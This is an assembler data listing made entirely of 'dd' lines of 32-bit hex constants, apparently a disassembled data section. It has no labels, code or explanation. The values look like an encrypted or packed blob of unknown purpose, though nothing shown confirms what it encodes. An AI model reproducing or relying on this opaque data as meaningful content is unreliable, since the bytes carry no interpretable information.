		dd 403770h, 814B1980h, 0E16C72E3h, 84F3D5A0h, 4D1B7613h
		dd 553A0A09h, 6582D912h, 557C5EF2h, 0A254923Fh,	0DFB8F2AEh
		dd 65E63095h, 74ED0FA8h, 9F8C1726h, 0C10D03B9h,	50DF8156h
		dd 21120C92h, 25BF5FB0h, 2AA05CD4h, 0F6F02C86h,	0D1990A8Ah
		dd 3A430F68h, 0C829FB00h, 5B585059h, 8A68B095h,	6ED5B608h
		dd 7CC371E2h, 5F4409D5h, 0E36E5D0Eh, 80BE5660h,	0FD986F4Eh
		dd 5E454567h, 5D0E9562h, 5A48C54Eh, 97D484B8h, 0BDF58100h
		dd 1A63B569h, 0A866580Ch, 5B5BE96Fh, 3C21EF96h,	0F72BCDABh
		dd 28BF4A36h, 0BD64DF7Fh, 0CF82D839h, 0BC52F819h, 0EF8100BFh
		dd 34703B42h, 1836ABFh,	0F64EE908h, 4F87CF34h, 0A698AE0Ch
		dd 13A34BE9h, 1088AF92h, 7FE0411Dh, 48C6FE06h, 24D22223h
		dd 9D882520h, 5B5C5642h, 9E659F60h, 84D79D2Eh, 0B10D9D6h
		dd 0B11DFC4Bh, 676C78E9h, 0EC3DEA4Bh, 0E11D8620h, 5569BA3Bh
		dd 0BB59343Fh, 0E90993F3h, 6677D811h, 9C0EF44Ch, 0D87825B2h
		dd 0AE9E7B26h, 7E000AA6h, 580D9213h, 0CB10B52Dh, 0D7823FC9h
		dd 28742100h, 0C09D76A6h, 82A3EC72h, 453B1F81h,	0C6C48129h
		dd 660E1A65h, 1FAF2560h, 92AA2572h, 8D2804F7h, 0B2001639h
		dd 4EDC0D08h, 0C0FEA045h, 77F3070Ch, 903B7E9h, 0E26B59D5h
		dd 0C981C138h, 3EFF875Ch, 501C62BAh, 8863487Eh,	0CCDC92D3h
		dd 0E076978Bh, 3815D710h, 3412CA4Ah, 0FAEDCC87h, 7FE8454Fh
		dd 2A4BF1A3h, 664A40EBh, 5930DB51h, 4F61B97h, 7237C434h
		dd 405EA68h, 81AD1F98h,	46D64CDFh, 6F188B46h, 450C5C4Fh
		dd 0EEB3E56h, 0C0EE626h, 0D2180DA3h, 4F05CC5Ah,	61EE5EF0h
		dd 22F7EADh, 0CDD2755Ch, 0A796BD30h, 0E4501BE3h, 9F9BF648h
		dd 0C05F8504h, 0A26C42C7h, 0D2F70718h, 24161410h, 237653Ah
		dd 40D0AB4h, 8745ACAh, 695BF70Eh, 163E5C53h, 9FDEE92Ch
		dd 0A40518BDh, 12B5BB76h, 0FB4ACA6Ah, 0EF35EF00h, 0BFB40B8Eh
		dd 0EE142AD4h, 0FAEC939Eh, 0A275552Dh, 4428BBE8h, 3F36EF85h
		dd 503BD5Fh, 0B6D32E3h,	1010E20Eh, 4AF5A75Bh, 0D917EEE9h
		dd 8E032140h, 92693243h, 23CC9FFh, 5AD7F0ADh, 0F7D09D0Ch
		dd 9053EC00h, 1E742528h, 0D65020Ch, 60B71454h, 0A87AC955h
		dd 52D633Ch, 25BD28FCh,	5F480765h, 22DEB62h, 0FFC1D101h
		dd 5825D668h, 42B9E5FEh, 0F2FA8ECCh, 4042C303h,	0E9505E46h
		dd 0C26CAFC5h, 0F345AED3h, 0F3FE5E58h, 75688235h, 95657758h
		dd 0F7EA5E12h, 23E61205h, 0E9E431EBh, 3B8A25F1h, 0A9DDF532h
		dd 0F897808Dh, 717B8D18h, 0C9B843h, 0BC64DBE1h,	0ADE9DA89h
		dd 2DE851D6h, 0A0E790Fh, 0D19F4064h, 3B857B2Fh,	25D88090h
		dd 7C0807CFh, 60B2D04h,	0C1043A2Ch, 152B3680h, 13B0D4BEh
		dd 5BEEF608h, 9170EAF3h, 5F70982h, 513C9857h, 55FF2768h
		dd 0FF84BF4Bh, 5C8B22CAh, 4FB967Fh, 0F82F8305h,	4800FB11h
		dd 6842371Dh, 8C5A4BBDh, 66014383h, 0E957489Dh,	0E274C141h
		dd 676D5B10h, 0BE72F4FCh, 0F268BED8h, 500FBC1Eh, 970573C3h
		dd 9FFE90Dh, 4001F246h,	415C20D5h, 80E52804h, 0BAF3E4C5h
		dd 0C41E845Bh, 0DB16EBCCh, 0F08DCDEBh, 7697A4A0h, 75046B2Eh
		dd 4BB3BFAEh, 4BF67110h, 41EF5185h, 0E0685F97h,	0A8F32E0Bh
		dd 0EC2B8202h, 0B6FA3134h, 85541BB0h, 0DAF2C828h, 80364960h
		dd 5F2C8CEAh, 0F0CDE0B9h, 58313440h, 371B1FF3h,	5AFA79AFh
		dd 0A981D442h, 263C3E4Ah, 55E01E8h, 6D010FFAh, 2968053Ah
		dd 8426B41Ch, 0E96513B7h, 0FC504473h, 0E61F59E7h, 0F030B805h
		dd 0D02C270Ah, 7457EA77h, 0EC2408Eh, 11168564h,	6CC558E9h
		dd 5595DFBAh, 0EAD7FB7h, 843EF6D2h, 0B2BEBA69h,	0F7E22703h
		dd 30C34393h, 0C00B10CEh, 823406E8h, 1BBF094h, 9ED9F380h
		dd 50CC4206h, 9F6E501h,	637026FCh, 4D16F87Fh, 55309FC0h
		dd 58798AB1h, 3D84174Bh, 0E1E90705h, 0BE1605D4h, 0E9C997B2h
		dd 5803257Dh, 4B0963A2h, 5890542Ah, 0D91F4191h,	27E8E92Eh
		dd 73F32FEDh, 0EF9A2D7Dh, 0E7143BDFh, 68CC8DE5h, 5C7270B1h
		dd 0EAB59DCBh, 8D5EC68Ah, 44BD2EC1h, 0FC1887B4h, 0EB26C166h
		dd 53027107h, 0DD66201Eh, 98692B07h, 2834F127h,	55510082h
		dd 0B3150BBDh, 0F50CB933h, 0DECC4CEAh, 4C5C985Dh, 189CF6C7h
		dd 63688D59h, 0BA79376Eh, 0BFE5E51Dh, 0A0FF99ADh, 1A7A8C3Fh
		dd 0D4C68244h, 4F86925Dh, 0BE0044B6h, 96228BCh,	23D816E9h
		dd 0E21E3638h, 0C329274Fh, 470272F0h, 0FDE9726Bh, 72E874ABh
		dd 0E9127096h, 31BECBB0h, 2D154F7Bh, 806883CAh,	35C72419h
		dd 3C96A010h, 162F0B03h, 83617002h, 81B50403h, 66D02CD8h
		dd 0EA1C4B8Bh, 31815165h, 6800DB9Bh, 5DC9605Ah,	0AC59D0E2h
		dd 1591CB0h, 9396FCCDh,	3D3DEA20h, 3A109D2Ah, 41816DBFh
		dd 0AFABE947h, 6DA2D717h, 5B01DF20h, 803EE6D1h,	6406C68Dh
		dd 0CC137F0h, 7D38469Ch, 17597C70h, 4B90610Bh, 3DDE05E5h
		dd 0B64AE0ADh, 766082C7h, 27282F63h, 390BDBAEh,	76926Ch
		dd 681007B4h, 77529D4Ch, 56C20882h, 0DFDE140Bh,	4F8FD00Dh
		dd 556AACAFh, 64F0F6A0h, 169D21DDh, 513809ECh, 0F8597E8Dh
		dd 62EC2601h, 0F5076C29h, 0E90A02B9h, 0BCD2BB03h, 55949327h
		dd 0FD5CA9h, 0AA41A730h, 36E8ED09h, 0EB682D64h,	20CB5368h
		dd 105F4D7Dh, 176204AFh, 25AEE7BAh, 86145550h, 0D985B05Bh
		dd 58BBB3FAh, 0B3231696h, 80CD2DD2h, 54A0CB28h,	0F73C13E4h
		dd 0E7F84DBh, 9085F4A0h, 84AE0013h, 3164A496h, 8090D95Eh
		dd 126A0C21h, 4CF0147h,	0B554F329h, 0BEEB641Bh,	114D9C0Ah
		dd 0AF00F70Bh, 0E9302631h, 0BF9A4F06h, 60577F53h, 307478FAh
		dd 2C92DD96h, 7C69FCC0h, 5260F902h, 9B5A128Dh, 8AA30156h
		dd 2B9720F6h, 0D0E50F0Fh, 443502Eh, 0C13F030Fh,	7B47049Dh
		dd 40210ECCh, 0C3392835h, 58BE1980h, 6829808h, 9E78E98Dh
		dd 3F245175h, 39C809A5h, 9FCFF851h, 9D87A4E1h, 7CADEBB8h
		dd 893625BDh, 8E94DF9Ch, 454BC7FCh, 538662E8h, 0B93E2AD2h
		dd 660E16CDh, 4905D7A3h, 0BA84C4E9h, 4130DBA6h,	4F451426h
		dd 0FFF509Dh, 5CD12B80h, 6D069D7Dh, 0FC266950h,	0AD3B090Fh
		dd 465892Eh, 0BB89804Fh, 150E43Bh, 4BEEF94Eh, 25DD5DCDh
		dd 0B544D6DAh, 0CDEF8968h, 7C8FF547h, 0E67262ABh, 71E87A08h
		dd 4528C017h, 560CD81h,	0D421D425h, 285A86A4h, 634F5AFCh
		dd 66C76D92h, 0FE5725EFh
		dd 0F59DC65Dh, 0E17325D5h, 0D222AB58h, 5DEF504Fh, 0F17CECA1h
		dd 0C6B63E02h, 0B544AA4Bh, 31077FAEh, 8FE26F7h,	9E64749h
		dd 5F872101h, 16CD2F84h, 88FC3403h, 2EC430D9h, 0BE0BB9Bh
		dd 5338BC13h, 0CDF43F52h, 0BC2754E9h, 528D00B8h, 0F4BB5AE4h
		dd 3C5E0625h, 0EB023CADh, 38740C93h, 0E9262170h, 0EF428D98h
		dd 0DFE37DD1h, 0BB7EFDF2h, 4DAE3397h, 40C14E1Fh, 0F7375249h
		dd 0D54829EEh, 1B933293h, 7A6BD5EAh, 86A9265Ah,	961FE94Ah
		dd 22EF426h, 71D470ABh,	34C2DA29h, 0D270080Bh, 5056D102h
		dd 8CA0135h, 0E88C3208h, 37922C79h, 4414DB91h, 0E671DFC2h
		dd 0C8034352h, 0B621B47Ah, 0D52DB1h, 35618E41h,	1B0CC16Eh
		dd 2A701624h, 0CAD722BCh, 0DF095A7Dh, 4B5ADD51h, 51B5EBF0h
		dd 64DFC985h, 0E4FE9FEDh, 2E588880h, 5CD3F707h,	7C049443h
		dd 0B8F8D1A7h, 0CFBA4A62h, 45C4854h, 18E839ADh,	8179F2AEh
		dd 178468F7h, 18CB3060h, 0FE71905Eh, 0B21E59D2h, 0B112E94Ch
		dd 13429CFEh, 0D74C254Fh, 9D2B9415h, 1069FBD8h,	0DBDEC00Fh
		dd 0A6E5BCC5h, 50B14F72h, 8CB12C3Bh, 0E10DE985h, 2ED4BBFh
		dd 9FD96CD7h, 5CEB88D1h, 0FF227241h, 515FC726h,	0FB28172Ch
		dd 9D59FC8Ch, 0D141606Ch, 2A229C78h, 7A8F38A0h,	0C5C8630h
		dd 609A1580h, 0CCF2C014h, 76145F27h, 0E87D2F7h,	74981625h
		dd 267C7B86h, 0CE8D2450h, 80315209h, 18F85777h,	0FFDC5825h
		dd 0A3207634h, 20AA987Dh, 0B90B8D78h, 412823h, 65C0C14Fh
		dd 3F9DA095h, 562DD6F0h, 72AFF473h, 5595B372h, 342D2C94h
		dd 7DB275C6h, 9D9531F1h, 0D95A2FF1h, 0E7E9C2A1h, 0FCBF48F0h
		dd 95857B96h, 2B1181D7h, 0DE4E7F14h, 0BC5B30A5h, 0DDED167Eh
		dd 0B19238AEh, 0C180B60Ch, 0EC46063Ah, 669504E1h, 0FE8EE953h
		dd 940F054Ah, 630027ACh, 146B34Bh, 5FE1A2EBh, 3960346Ah
		dd 65D244Ch, 462F7E2Ah,	0B31075E7h, 149A3609h, 0A20A9D22h
		dd 49108022h, 0C51DCE05h, 34B084AEh, 1BB8AE9Ch,	1A7E2786h
		dd 107D2148h, 6958F590h, 6C35C902h, 5855444Fh, 0AEDE02D3h
		dd 0D2E93175h, 0C77FA3ABh, 0CAB825h, 0CF8BE2Ah,	8351568Bh
		dd 6F42F5DEh, 0A3533E12h, 0E90B39CFh, 3025EAFBh, 8A9E04C8h
		dd 9EF4ECDBh, 0DEAB110Bh, 0B44FCFA4h, 0C291B832h, 75721C68h
		dd 0D49F3CECh, 5521EFE5h, 0C22C2FE9h, 2504C7F5h, 6B8090DFh
		dd 9456978Ah, 6F21DF5Ah, 3ACC48E9h, 0DD010722h,	59FD753Ah
		dd 0BF029399h, 56356537h, 0F2E98831h, 0EE3C132Eh, 0E9C294CAh
		dd 12487BE2h, 5597E388h, 51D2C503h, 0AF6F81C5h,	41C71082h
		dd 0F633721Ah, 0C1B3C25Ch, 0C4A12E8h, 1424EB7Bh, 0F7180E0Bh
		dd 6EF6D480h, 164CA135h, 8970513h, 0D0EB6427h, 0E128B6B4h
		dd 214C5Ch, 1B800AD5h, 0D9AA45E9h, 1C90C9Bh, 6031315Dh
		dd 96A43FDh, 9E7A5F41h,	688B64FBh, 1113C94Eh, 0E9FC70AEh
		dd 49953E23h, 5B286ABBh, 3217AF4Eh, 0C784A4BDh,	0D731FB3Bh
		dd 8A2F3130h, 0D3011298h, 5D8DC219h, 97F1B22Fh,	62AD29AAh
		dd 0D0EBD79Dh, 649FBF29h, 812E9B0Eh, 8F0D9AF7h,	9E256C9h
		dd 2176F55Ah, 89D66B07h, 95E8B518h, 0CE495EE9h,	0A94E01A8h
		dd 0D629A2EFh, 41121162h, 5F7C32C8h, 6F9E645Fh,	891D16B8h
		dd 0C87C0354h, 6600EAE8h, 501EC557h, 4B882D68h,	964CCE18h
		dd 2807873Ch, 7A2036D0h, 24AD76CCh, 8B4ECFCBh, 365498B5h
		dd 1F3DA908h, 4DACCB81h, 45CCAF0Ch, 0FD3BF90Bh,	0D1FF0289h
		dd 1FF3FEEDh, 0DF00FB4Dh, 9C39AA1h, 5B05DE8h, 2504D4FFh
		dd 0F605B003h, 0C122352Ah, 96A0834h, 51224236h,	0C365D831h
		dd 87685680h, 0B4799846h, 0F4E962FCh, 0D0035D58h, 4DB151E6h
		dd 614FDA80h, 0E72E30CFh, 0BD327DDDh, 77C3D13Fh, 256478AFh
		dd 0C661BAADh, 0EB100CD4h, 4F2610B8h, 0B1C3657h, 0E9C29B02h
		dd 2D43767Bh, 31309657h, 0AA735BD6h, 0FC1364DEh, 0FD3F7941h
		dd 0FD07144Eh, 0E271C93Ch, 38664BDBh, 0FB4A1848h, 0F0DBCA72h
		dd 0FDBF0074h, 21444030h, 31255FF9h, 25A8D6C1h,	0BE6927CCh
		dd 0EF20837Dh, 0B39322C8h, 54997B6h, 4A49D4D5h,	0BC6EFD5Dh
		dd 1CE2ACB2h, 284B19BFh, 0B716F128h, 58960C99h,	0F9F8A406h
		dd 6AECAA3h, 0A7EC5BF6h, 0F63C3365h, 0A46E35C8h, 255D778Eh
		dd 5DFBAE19h, 0B91668A6h, 40C0E5CCh, 0F63B801Ah, 3EE9D8Ch
		dd 253F51A4h, 0BEE6C0B0h, 75464D8Ah, 0B5CD9912h, 1A1DF060h
		dd 90EA644Ah, 0D0D8E9A2h, 24B84B1h, 7EDA591Ch, 0BE55E4A3h
		dd 660739B9h, 930CD968h, 121232B7h, 0FF42EBD1h,	40F51Ch
		dd 68AD551Bh, 0DB1D50BCh, 97B7EE25h, 25F7390Bh,	97A858A0h
		dd 0AE3FD25Fh, 6A59B0E9h, 0A8904A8h, 0CB966066h, 2BD15552h
		dd 627D5EAFh, 224B39E9h, 43C580D0h, 0EDEAF5E0h,	546DF9EBh
		dd 13C704A0h, 233502EFh, 75C1F529h, 36402B21h, 536492EDh
		dd 9ABFF646h, 25E2B46Ch, 33E21659h, 1F370ABCh, 0BFA0B3h
		dd 0C380D0D5h, 0EAF3E0C4h, 0B13BEBEBh, 1E28EBA1h, 878EFD8h
		dd 2A4BEFFFh, 4F4B6DA0h, 5354D11Fh, 0AB4E20B7h,	0B907BD9Eh
		dd 715723DCh, 29D8CB3h,	2E3AF215h, 6E7729A8h, 76F6BD8Ch
		dd 0B9B5C125h, 484FD6F0h, 60F4567h, 0EFB7B21Eh,	8107AC4h
		dd 754C25D5h, 125E747h,	4963CA31h, 38750740h, 12B2F47h
		dd 52B87905h, 0E94D8009h, 0F99F1585h, 0A1568B4Fh, 29093F9h
		dd 2255ED8Bh, 7C49E9AAh, 7D1C2D9Bh, 0EB607EBDh,	6C62E074h
		dd 0DBD1C8FCh, 60D29630h, 16D75DDh, 540B07B8h, 0BB5A7FBh
		dd 0E9C6C8B4h, 0E4F35B2Bh, 0AE0FEAF1h, 89450FCAh, 0BD2E404Dh
		dd 495A0794h, 0C5FD8715h, 4A00ACF9h, 9E2DA93Dh,	29B0A018h
		dd 471DC0E3h, 0F3816F45h, 9481302h, 3F9D4C60h, 0F72FD636h
		dd 0FA098250h, 0E29E849Bh, 0F1E9F52Ch, 0A18B60F2h, 0C501DEB0h
		dd 559F02CBh, 0A144D501h, 8F00812h, 55E2952Ah, 0C3DDD477h
		dd 8E2F771Bh, 0F65B445Bh, 0F2EB5BDAh, 0C80F80C8h, 9F46A668h
		dd 76FA7018h, 1C331097h, 349B2833h, 68441EA6h, 5CAAF073h
		dd 6413E85Bh, 16AA7FE9h, 4D8CAFACh, 967D9D5Ah, 0F5719D28h
		dd 0BAF5C65h, 0E92FF756h, 6744B169h, 802E4D79h,	1826F95h
		dd 1A0751h, 0AAF3F67h, 8344B5h,	0FEF5791Eh, 0E95FFD89h
		dd 0E0005D4Bh, 3F456857h, 181C6548h, 589F434Ch,	0F0975556h
		dd 483B4A01h, 0B8275E7Fh, 628F9878h, 0FA0ED4EDh, 0DE21F751h
		dd 0C223412Bh, 0EEC775DCh, 832FF85Fh, 0E91C4F08h, 0F3086E2Fh
		dd 27957501h, 0F72B796Bh, 0ACE93DCAh, 0D1843921h, 0E4B1C9FEh
		dd 992868F0h, 0AA0945C4h, 9144ADE5h, 2DBAADBAh,	31B8775Ah
		dd 0A29DA948h, 425DFED4h, 0F207F70Dh, 0D1C3F24Eh, 0DA0BC3FAh
		dd 5E0F3D68h, 0DE93BC11h, 0A11D16A6h, 2FF3CDCAh, 8048ABBDh
		dd 0FE50D52Fh, 2225537Ch, 4EDB5A94h, 0BB8D179Eh, 0A7105DCAh
		dd 82BA6999h, 755651A7h, 0C5D18D62h, 4BC256A5h,	4E5E6B01h
		dd 49937F93h, 4997FA02h, 209EAD6Ah, 45D68216h, 0F87DE7D1h
		dd 61B33E69h, 0CE92805h, 1756FB0Dh, 13370B0Eh, 92068AFAh
		dd 0FEA939EEh, 0C6F120FFh, 76B35A60h, 2BF6003Bh, 0E9F5C2BCh
		dd 0AAA48C30h, 4D950E0Ah, 28B0A16Eh, 13FB3FE1h,	0EFF02119h
		dd 0E30FE394h, 0AAF996CEh, 92968A9Eh, 0C5C18CB7h, 0E0F63B06h
		dd 7B571756h, 6BB9DF4Ah, 0AB4EDB49h, 0B642F279h, 50B07AD1h
		dd 8CA53Ch, 556FF706h, 1F3ED3BDh, 0B105495Fh, 96EA5D08h
		dd 0F812AA6h, 5F07EA01h
		dd 694C7919h, 50003AE5h, 0C32D4F68h, 0E9581667h, 1263E6EAh
		dd 1F343130h, 96AE49D4h, 594B6388h, 1F5CFEFh, 0CAF07DBh
		dd 0BA20D0F7h, 9777ED4h, 91ADE959h, 3A58ED19h, 0AFA412BAh
		dd 82207E69h, 704D3F87h, 0B832D9Ah, 39C8F480h, 0E9162763h
		dd 4CA23442h, 0DB1884h,	56F2BBEh, 0E3029D42h, 5500ADD6h
		dd 0C423DD68h, 0A6C18A2Fh, 16C513B4h, 74DE8BB5h, 96DAEBBh
		dd 4753EE38h, 7307EFA8h, 4144F308h, 58D1C9D7h, 8240549Dh
		dd 4F6B1B4Bh, 100FE924h, 0E85FF2C0h, 55A071Bh, 0A1C27844h
		dd 6251DC29h, 43DCFC7Dh, 71C5DF49h, 92D3E904h, 1042CABFh
		dd 2D00EFF2h, 56085296h, 0CA030548h, 0E96C5011h, 0B12D4B3Dh
		dd 124B299Ch, 17B92DEFh, 33F8E982h, 0D22034ECh,	0D03125E0h
		dd 0B878F444h, 27A5090Bh, 50CBEA05h, 0A3404CEAh, 0E026A037h
		dd 57775BE6h, 0E408EF99h, 44A13D4h, 0F2804762h,	0DDAA40F3h
		dd 4FC23007h, 0E560A1BDh, 5A8FE9BFh, 6248911Ch,	7FDA2573h
		dd 412520C8h, 8977F1E5h, 0D773507Eh, 0E9135434h, 8BBEC28Bh
		dd 20EF5AC7h, 0EEC16660h, 0CFE90313h, 0EA0F64AEh, 6C8407D7h
		dd 178DEBh, 0F50ADFFDh,	5C012C16h, 4BBDBBF0h, 256DB3E7h
		dd 370B7DEBh, 0BC20F550h, 22FC9F76h, 805B67A8h,	0F5F229BAh
		dd 5BFB288Ch, 61F29DD0h, 0BC3FF2A5h, 29562F15h,	431661F2h
		dd 0FE8F1614h, 0F81A7ED6h, 8DFC9781h, 6799EB81h, 0AA7036B9h
		dd 0FC3E1747h, 0CD59530Fh, 354728F1h, 0E6BA178Dh, 0A81F1025h
		dd 0FEAF0504h, 0AC6A8530h, 4FEE2091h, 0C024AE33h, 0E989B4BBh
		dd 5B82D554h, 8E98C09Dh, 9230BD2Ch, 0CC8B23BBh,	4F3A8EFAh
		dd 0A913DDB7h, 4820B2DDh, 1A022DD1h, 0EFCEDFD7h, 0CBBF564Eh
		dd 5625972Eh, 703C38FEh, 7BE39641h, 0DBC74C7Ah,	475CEF01h
		dd 9329FE7Ch, 0F7805EE4h, 124DF280h, 0ED7B050h,	0D3065888h
		dd 0B800125Ah, 0C0FED8F6h, 4FC4E952h, 8739AF96h, 2B161B26h
		dd 0CDCCDDEFh, 2BF0D5C6h, 0AAD358FCh, 0DA2ED0CAh, 0E97F02DBh
		dd 0B3DD1E2Eh, 0E6F850BCh, 60AF41D1h, 4EDE5E5Bh, 57822192h
		dd 6D8BD731h, 9678C557h, 80F15FE9h, 9F1E2ABDh, 0C5708115h
		dd 9A706F26h, 0DB1ED00h, 12318799h, 81015DEFh, 3BE76D39h
		dd 56CAA8BCh, 7331088Bh, 90F78100h, 954AD426h, 0DC33CC40h
		dd 0E1235CB5h, 2B56C868h, 624D5DCCh, 0DE039D11h, 3C68667Fh
		dd 0AB4F7C0Dh, 0A445D69Ah, 0E28CA3Bh, 12456C68h, 2D2AF7FAh
		dd 6532D501h, 7DA6B565h, 5B959322h, 0F7660F0Eh,	9940EED3h
		dd 3E7922BEh, 0EE811A28h, 0CA2B0D1Eh, 77B23201h, 34C22BA9h
		dd 0C65A0531h, 0FBA06DEFh, 0A42C3954h, 4F05C613h, 1AC25C3Ah
		dd 0BDC8F210h, 980E62C0h, 68C7909Dh, 0A95F179Fh, 2C628133h
		dd 0FD3FE9C9h, 0A1B978C8h, 0F76F4431h, 0F06462FDh, 7A4CD71Bh
		dd 0F3EDB933h, 559CBAC8h, 0B0E39AA4h, 95F20C98h, 5BA7406h
		dd 26466334h, 68B89CC2h, 214306C3h, 0EF068422h,	47A5389Fh
		dd 363E0B0Ch, 0EC000EF5h, 32784D9Eh, 0A8093C90h, 0DD2FA233h
		dd 230824A8h, 71E985D1h, 0C566BD8Fh, 0AAA92C87h, 0BC353784h
		dd 70E3CB11h, 844F60EBh, 2E47DF54h, 40FB3AE5h, 6A363537h
		dd 2931403Bh, 65CD4C5h,	807734A5h, 0D62AFB9Ah, 0E5C12D46h
		dd 0BCC5B281h, 55D2606Eh, 0F9A882EFh, 0F6578622h, 26072013h
		dd 0A40599E9h, 615C31C4h, 0A1D17BE3h, 0FA05C8C5h, 3A45E5C0h
		dd 533B404Ch, 0FE0D69BCh, 2CE404CDh, 0D4895E6h,	5E9F0CC8h
		dd 6FDA732Fh, 2BEFC0Bh,	755B1A25h, 650F2661h, 8AED3A38h
		dd 4FFCBF0Fh, 0F93151E3h, 981154E7h, 0CA2F6809h, 74F9B233h
		dd 3E72CAF9h, 7CAE6684h, 5B7BC4Dh, 7EE90956h, 0A0A29303h
		dd 0E4AE943Bh, 37044695h, 0CB016592h, 3069A080h, 4F7E5C0Eh
		dd 0BA5E2338h, 0C8853E74h, 0D333F3A3h, 0C7CEE906h, 47FDBDA0h
		dd 716293Bh, 0A3275F6h,	0E8955605h, 0D57196BFh,	5E1AE81h
		dd 8D04A9F8h, 5FF4567Bh, 93B1ACD7h, 0A27FF121h,	32E9C2F7h
		dd 20DAF2A8h, 465B8576h, 771F3BC2h, 0C126EEC6h,	0EE19FF23h
		dd 0E56FEBFCh, 420C9F9Ch, 0C15F1089h, 436FD53Bh, 720C371h
		dd 260538D3h, 249973A8h, 126004BBh, 0B476E470h,	5028D390h
		dd 6209C252h, 0F05C0C56h, 0F2F82FF0h, 6FBB27Dh,	983FD8B0h
		dd 0F28122Eh, 0EB0BB25h, 0D9F73006h, 0F278014Ah, 0DE54B50h
		dd 67171DB0h, 0FA4CC3E9h, 17362458h, 0BC015A73h, 4D07668Eh
		dd 20C1B008h, 55A7ED6h,	4F7A37B9h, 1E4A15C8h, 0E613EF92h
		dd 4A0EB6BEh, 2F153DFEh, 0B78D52EEh, 9E6808FCh,	0CBE9053Fh
		dd 84EBADA4h, 0ACFC2796h, 88CF08E5h, 2AA5214h, 6F3F0E9Fh
		dd 8C6AC149h, 4A522448h, 8610FB68h, 12A419C6h, 0EF2F5E0Ch
		dd 0CFAE7C24h, 29BF4B0Fh, 8EF53B9Dh, 0A02BD87Fh, 805A0F59h
		dd 5B7A30C4h, 38B0BD53h, 6082A9DCh, 9569B7BAh, 4D272078h
		dd 6251F61Eh, 0F48B50BAh, 0DF08914Ah, 7CA9A50Ah, 0F0F3A932h
		dd 56296709h, 9E396646h, 0C7AD604Fh, 0AF15CE16h, 2F024E62h
		dd 7DA9F1C9h, 0C95B6CF7h, 7D44C3BCh, 751BCB0Bh,	2B2508Dh
		dd 1A9E45F8h, 62E1D901h, 0CA3331CDh, 693E40DDh,	16E5B33h
		dd 0AD314173h, 13F2D84Ch, 5A78713Ch, 0A30554BCh, 0AE74838Ch
		dd 3453F1C5h, 9A718CBBh, 779D1070h, 0D4B75194h,	8B878B4Bh
		dd 6C632854h, 0FBB75AA7h, 0E1FB7712h, 28AA2E85h, 6C5DC58Fh
		dd 3DFC49D0h, 92CC1A5h,	2F0AA14Fh, 960CE4C8h, 9EDD2D7Ah
		dd 0E7DF278Ch, 5F3B1ADFh, 90BD9634h, 0BB7A34A3h, 175493C0h
		dd 74DDBFB0h, 43DA12AFh, 99A0F795h, 2C984A64h, 80628BDh
		dd 0C4A1933Ah, 0A852EA98h, 20B987h, 8139826Dh, 0B1FF9F1h
		dd 0D53E1760h, 5B2E8972h, 4B258B01h, 2F8626F9h,	2029FB0Fh
		dd 56A7C46Ch, 0B001BAE9h, 0F743CD08h, 24E530D1h, 0B9772ACAh
		dd 9F0817A8h, 3530D47h,	92606832h, 4E3E8804h, 108635CBh
		dd 8208824Ah, 56059F4Eh, 0F4CF855Ch, 0ED53C080h, 0AF2D4052h
		dd 8178FA39h, 0EF3A5E08h, 1FC08305h, 58FBA849h,	5A5F4DCCh
		dd 18C4B2Eh, 35A331C3h,	17D03F09h, 81651F2h, 853AE9A4h
		dd 9D685802h, 0D0197729h, 98DDC280h, 83EF2280h,	646B93A9h
		dd 46B7BD65h, 43571C5h,	7FE90BB7h, 3B31BA90h, 0CD7F6F29h
		dd 3B2A2506h, 55C04DA3h, 0C01F3A68h, 7F5D752Eh,	3D3D82Fh
		dd 0B803E73Ch, 0BC2CEB89h, 0DC4288B0h, 4A290BF0h, 9A90F646h
		dd 15163720h, 0EF170368h, 0CF8D1919h, 0B70C102Ch, 88890134h
		dd 0C50458C7h, 0C9E1E653h, 0CED061F8h, 8720F7F1h, 0C4B3266h
		dd 0F299041h, 3B4B0989h, 35D80369h, 52D52D27h, 1BF82FFAh
		dd 0D5ADD979h, 6AE75BB0h, 5F5A34CBh, 0D19CF664h, 9ED28C97h
		dd 0AD3776EBh, 75839AFDh, 76C90C2Eh, 9B9546F1h,	5A5750F3h
		dd 6A89E89Dh, 5E469FD7h, 724ABF0Ch, 16116052h, 0FE7E1759h
		dd 0CB28ED44h, 0F2C4C2ACh, 0F936EF88h, 0F5F3A2AAh, 21D26E00h
		dd 0B8045FAFh, 57646F0Fh, 0EC9AF0AAh, 8438F748h, 0F2CC5987h
		dd 8DB60952h, 870FF188h, 8552F40Bh, 7F1289A0h, 4E7CD902h
		dd 40EED146h, 12E246Ch,	0E7C122AEh, 0C4EF8106h,	858DF1Fh
		dd 78B8044Eh, 21FB9902h, 7FA6C8E1h, 0ED80ADBCh,	0EE8C3F6Dh
		dd 7704094Bh, 39EF0AE1h, 0FAB96A1Fh, 9027E982h,	0F725D36Ch
		dd 0ADA7F112h, 0C129EFBh, 42EA38EFh, 803E0197h,	857B3EC6h
		dd 0A4B822A2h, 788F4455h, 9572F652h, 2DBBEA0h, 9984E3Bh
		dd 78257470h, 176059Eh
		dd 41401DF4h, 74FE2F98h, 0CFC8EECFh, 0E8681723h, 30F7D763h
		dd 2BF954D8h, 0BEB2C2B0h, 21EB5B4Eh, 9F83ABh, 3D462535h
		dd 0DA17BAD3h, 6AAE40Dh, 7600512h, 806B1A5h, 6A8E051Ch
		dd 0BE5A2731h, 79C2E234h, 78BA009Ch, 0FE7ABDF4h, 0EF761E30h
		dd 3D635AE6h, 2BA52DC6h, 0F65FCAC2h, 0F92970D7h, 209A5F58h
		dd 50567FE6h, 0FF6F75Eh, 623908FEh, 0B123A0E6h,	99BDED4Ah
		dd 5A575A7Bh, 7B77EA99h, 0B5B4C260h, 5F1FA90Ah,	82887ED8h
		dd 1048045Eh, 0EAF7B2E9h, 2150C5A2h, 0B0731661h, 0EB39D729h
		dd 7868EEE0h, 0C52468E3h, 739CDFDEh, 58FB6A7h, 0FE2854B6h
		dd 40F5E3A4h, 560BB9D3h, 2932A40Fh, 0A4F8D55h, 71C9EB00h
		dd 3C2F2F31h, 545EAB5Fh, 1AAE3C64h, 90073E5Eh, 5EB69AE2h
		dd 2C16C276h, 0F8657A41h, 0FF91CA48h, 2D987EA7h, 0C15EC480h
		dd 0E2F207E3h, 18A87F4Dh, 0EF636884h, 4E47E23Eh, 73C502D1h
		dd 0ADD5E132h, 26304262h, 0D24A9705h, 6ADEAB41h, 82B5EEBCh
		dd 5C0BBC6Dh, 10750E02h, 86F3BB13h, 628741CDh, 0D5532576h
		dd 0A2B707B6h, 1B93335h, 0E025C780h, 0E49AD5D0h, 533520BFh
